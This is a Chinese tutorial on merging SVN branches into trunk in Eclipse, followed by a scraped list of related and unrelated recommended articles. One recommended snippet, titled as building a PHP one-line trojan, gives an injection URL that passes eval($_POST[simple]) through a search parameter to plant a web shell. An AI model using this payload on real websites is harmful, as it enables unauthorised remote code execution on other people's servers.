eclipse 上Svn将项目从分支合并到主干的方法
eclipse svn 分支合并到主干
最近公司产品上线,整个系统架构包含有七八个子系统,并且子系统都是集群部署。所以每次升级维护都要确保尽可能不出问题。因为整个系统刚上线不久,意味着新系统不定期有BUG需修复,但新功能模块也在持续的开发中(可能持续的时间还不短),所以就引发一个问题:持续开发的新功能代码与生产上的代码 如何进行隔离开来进行维护,而且二者还需要不定期的合并代码。所以就研究了下SVN分支。
首先需厘清SVN的分支以下几个概念:
trunk: 主干(可以理解为开发环境的代码,平常做开发的工作目录)
branches:从主干拷贝了一份代码重新在svn服务器上的建了个分支目录(通常叫branch,一般与生产上的代码保持同步)
tag:主干版本标记(标识每次大的升级版本号)。
我们项目目前的版本管理策略如下(可以根据自已的项目实际需要建立不同的版本管理策略):
1、系统在没有上线之前,只有一个主干(trunk),所有开发人员在主干上进行协同开发。
2、系统上线之后,在主干的基础上创建一个分支,该分支上主要用于修复生产环境的BUG,或者紧急新功能上线。主干仍然进行新功能模块的开发。
3、每次生产环境的升级,都从分支上进行打包部署。升级完之后需将分支上改动的代码及时合并到主干上(开发人员常常忘记,切记)。
4、新功能在主干上开发好了,需要进行一次大的升级,可以先将主干打上一个TAG做为大版本号,并且同时在此基础上创建一个对应的分支,然后切换到分支上进行打包部署,这个版本的生产代码维护也在分支上。
原则:分支用于生产代码维护,主干用于平时开发,TAG用于主干大版本的标记。
由于我们项目由好几个子系统构成一个大的集群系统,系统之间的版本统一就显得很重要。所以每次上线,即使相关子系统没有代码改动,也需要重新建立一个分支版本以适应其它子系统的版本改动。
说了这么多之后,来说下具体分支合并到主干上的操作,因为这部分最容易出错:
合并根据目标不同分为2种:
1、分支合并到主干:主要用在修复完生产BUG,并上线之后。需把改动的代码合并到主干上。
2、主干合并到分支:公用的逻辑改动,需反映到所有并行的分支上。
注意:合并是要在目标目录上进行操作的,如:分支合并到主干(主干为目标),需切换到主干上操作合并功能,主干合并到分支(分支为目标),需切换到分支上进行操作。
分支合并到主干的具体步骤:
1、主干目录右键选择合并

出现以上6个合并选项,
第一个选项:合并指定的版本,可以是从分支合并到主干,也可以是主干合并的版本,主要作用把分支的部份修改合并到主干上。
第二个选项:复兴分支,这里会把分支上所有的需改都合并到主干上。如果只想合并修改的一部分,并适合这项。
第三个选项:将主干上的修改合并到分支。
第四个选项:2个不同的分支合并,但其实也可以是分支和主干的合并,只要from选择为主干就行。
通常选择第一项或第四项进行操作,这里需要注意的是:
这里其实就是比对TO版本和FROM版本的差异,并把差异合并到TO的当前版本(head版本)中去。
注:如果要把分支所有的修改合并到主干上,FROM需要选择主干创建见分支时的版本号,TO选择分支最新版本(head版本)就行了。
如果FROM也选择主干head版本,TO也选择head版本,就会把所有分支与主干不同的差异覆盖到当前主干上来。造成主干的文件被分支覆盖。
合并当中出现:
no uncommited modified :表示当前版本还有没有提交的文件,如果不需要提交就选择revert.
working copy at a single version:表示当前目录没有从SVN服务器更新最新的版本。update下后在操作就行了。
eclipse 上Svn将项目从分支合并到主干的方法的更多相关文章
- eclipse中SVN分支合并到主干
在项目开发中,需要添加一些新的功能,但是又不想影响到其他开发人员的项目进度,所以决定使用SVN分支进行开发,分支开发完毕后再合并到主干.本文介绍如何在eclipse中合并分支到主干. 1. 要想将分支 ...
- 图文:eclipse中SVN分支合并到主干
在项目开发中,需要添加一些新的功能,但是又不想影响到其他开发人员的项目进度,所以决定使用SVN分支进行开发,分支开发完毕后再合并到主干.本文介绍如何在eclipse中合并分支到主干. 1. 要想将分支 ...
- eclipse svn 分支合并到主干
最近公司产品上线,整个系统架构包含有七八个子系统,并且子系统都是集群部署.所以每次升级维护都要确保尽可能不出问题.因为整个系统刚上线不久,意味着新系统不定期有BUG需修复,但新功能模块也在持续的开发中 ...
- SVN的使用、分支合并及解决冲突详解
一.什么是SVN SVN是Subversion的简称,是一个开放源代码的版本控制系统,相较于RCS.CVS,它采用了分支管理系统,它的设计目标就是取代CVS. 二.SVN的下载安装 下载地址:http ...
- eclipse集成svn进行项目开发
在用eclipse进行项目开发的时候,报了一个错误:switch不支持String的参数.这个问题的原因是因为jre版本低于1.7,而当前的eclipse版本最高只能选1.6,无奈,我只能考虑换ecl ...
- 关于eclipse从svn导入项目
第一次直接从eclipse svn资源库输入svn url直接将项目下载到workspace结果,web项目成了Java项目,这样操作是错误的 正确的操作应该是: file,import ,找到svn ...
- 将eclipse上的web项目部署到Tomcat服务器上经验总结
1. 将Tomcat插件添加到eclipse上 Window --> Preferences --> Server --> Runtime Environment --> A ...
- 在Eclipse上编写Go项目
Note for users in China Note: if you are behind the Great Firewall of China, you are very likely to ...
- Eclipse通过SVN导入项目遇到的问题记录
问题一.把子项目导入为project 原因:一个大的文件夹,里面有各个小项目,需要把自己添加需求的醒目导入为Maven Project 1.右键选 Import as project 2.右键 -&g ...
随机推荐
- window 下总是object_detection/protos/*.proto: No such file or directory
这是因为目前的protoc3.5有Bug,换成3.4就好了https://github.com/google/protobuf/releases/tag/v3.4.0
- string参考
#include <iostream> #include <string.h> class string { private: char *data; public: stri ...
- linux上安装php phpredis扩展
linux 下安装redis以及php Redis扩展 环境配置: centos6.0 nginx/1.0.0 php/5.3.8 mysql/5.5.17 步骤一.下载redis 可以去http:/ ...
- PHP构建一句话木马
构建一句话木马,密码为simple: url/search.php?searchtype=5&tid=&area=eval($_POST[simple]) 之后使用菜刀进行链接,密码为 ...
- 如何将项目中的package.json文件中的模块更新到最新版本
有时候自己之前开发的项目回头运行的时候发行好多模块的版本不是最新的,此时想更为为最新版本,使用如下命令即可: npm i -g npm-check-updates ncu -u npm install
- Jlink V8固件恢复
使用附件中的PDF文档步骤即可,但是千万千万记得两点,更新系统很关键,很关键 1.WINXP系统 2.32Bit系统 切记切记,其他的win7,winxp 64就不用试着更新了,全部是坑 大概步骤 J ...
- java内存泄露与内存溢出
内存溢出 out of memory,是指程序在申请内存时,没有足够的内存空间供其使用,出现out of memory: 内存泄露 memory leak,是指程序在申请内存后,无法释放已申请的内存空 ...
- C++一些不常见的库及函数
pbds库 平衡树:one , two #include <bits/extc++.h> using namespace std; using namespace __gnu_pbds; ...
- AutoCAD2016简体中文破解版32位64位下载
AutoCAD2016序列号:666-69696969 667-98989898 400-45454545 066-66666666(任意一个) AutoCAD2016产品密钥:001H1 AutoC ...
- 搭建单机版spark
二.下载软件 JDK,Scala,SBT,Maven 版本信息如下: JDK jdk-7u79-linux-x64.gz Scala scala-2.10.5.tgz 三.解压上述文件并进行环境变量配 ...